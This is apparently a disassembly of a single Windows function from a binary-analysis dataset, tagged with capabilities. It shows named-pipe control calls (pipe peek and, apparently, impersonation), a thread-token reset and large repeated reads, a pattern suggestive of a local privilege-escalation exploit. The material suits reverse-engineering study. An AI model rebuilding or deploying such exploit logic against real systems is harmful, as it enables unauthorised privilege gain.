Function at 0x140001750
Capabilities:
Read file on windows
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0xc8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov rdi, rcx
mov edx, 0x780000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x1400019e6
mov qword [rsp + 0xe8], rbx
mov ebx, 0x77fd0
mov qword [rsp + 0xf0], rbp
mov qword [rsp + 0xc0], r12
xor r12d, r12d
mov qword [rsp + 0xb8], r14
mov qword [rsp + 0xb0], r15
nop dword [rax + rax]
mov r15, qword [rdi + 0xb0]
lea r14d, [rbx + 0x10]
xorps xmm0, xmm0
movsxd rdx, r14d
mov ecx, 0x40
mov qword [rsp + 0x64], r12
movdqu xmmword [rsp + 0x54], xmm0
mov dword [rsp + 0x6c], r12d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
xorps xmm0, xmm0
mov dword [rsp + 0x50], 0x30
xor r9d, r9d
mov byte [rsp + 0x20], r12b
lea r8, [rsp + 0x50]
mov edx, 0x1f0003
xor ecx, ecx
mov rbp, rax
movdqu xmmword [rsp + 0x70], xmm0
call qword [sym.imp.ntdll.dll_NtCreateEvent]
test eax, eax
jns 0x140001898
mov dword [rsp + 0x48], r14d
lea rax, [rsp + 0x98]
mov qword [rsp + 0x40], rbp
xor r9d, r9d
mov dword [rsp + 0x38], r12d
xor r8d, r8d
mov qword [rsp + 0x30], r12
xor edx, edx
mov dword [rsp + 0x28], 0x11400c
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtFsControlFile]
test eax, eax
js 0x1400019cc
cmp eax, 0x103
jne 0x140001874
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
movsxd r8, ebx
lea rdx, [rbp + 0x10]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rdi + 0xa0]
lea rax, [rsp + 0x88]
mov dword [rsp + 0x48], r12d
xor r9d, r9d
mov qword [rsp + 0x40], r12
xor r8d, r8d
mov dword [rsp + 0x38], r12d
xor edx, edx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x11001c
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtFsControlFile]
test eax, eax
js 0x140001924
mov rax, qword [rdi + 0x78]
mov qword [rsp + 0x80], r12
add rax, 0x40
je 0x140001900
mov qword [rax + 8], r12
mov qword [rax + 0x10], r12
mov qword [rax], r12
mov r9d, 8
lea r8, [rsp + 0x80]
mov edx, 5
mov rcx, 0xfffffffffffffffe
call qword [sym.imp.ntdll.dll_NtSetInformationThread]
test eax, eax
je 0x14000197f
add ebx, 0x77fd0
cmp ebx, 0x7f7cd0
jl 0x1400017c0
mov ebx, 0x10
nop dword [rax + rax]
mov rcx, qword [rdi + 0xb0]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], r12
xor r9d, r9d
mov qword [rsp + 0x38], r12
xor r8d, r8d
mov dword [rsp + 0x30], 0x77fd0
xor edx, edx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtReadFile]
sub rbx, 1
jne 0x140001940
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r14, qword [rsp + 0xb8]
xor al, al
mov r12, qword [rsp + 0xc0]
mov rbp, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe8]
mov r15, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.140002d60
add rsp, 0xc8
pop rdi
pop rsi
ret
mov edx, eax
lea rcx, str._ERORR__code:__x_Couldnt_PEEK_data_from_the_PIPE
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov al, 1
jmp 0x1400019b2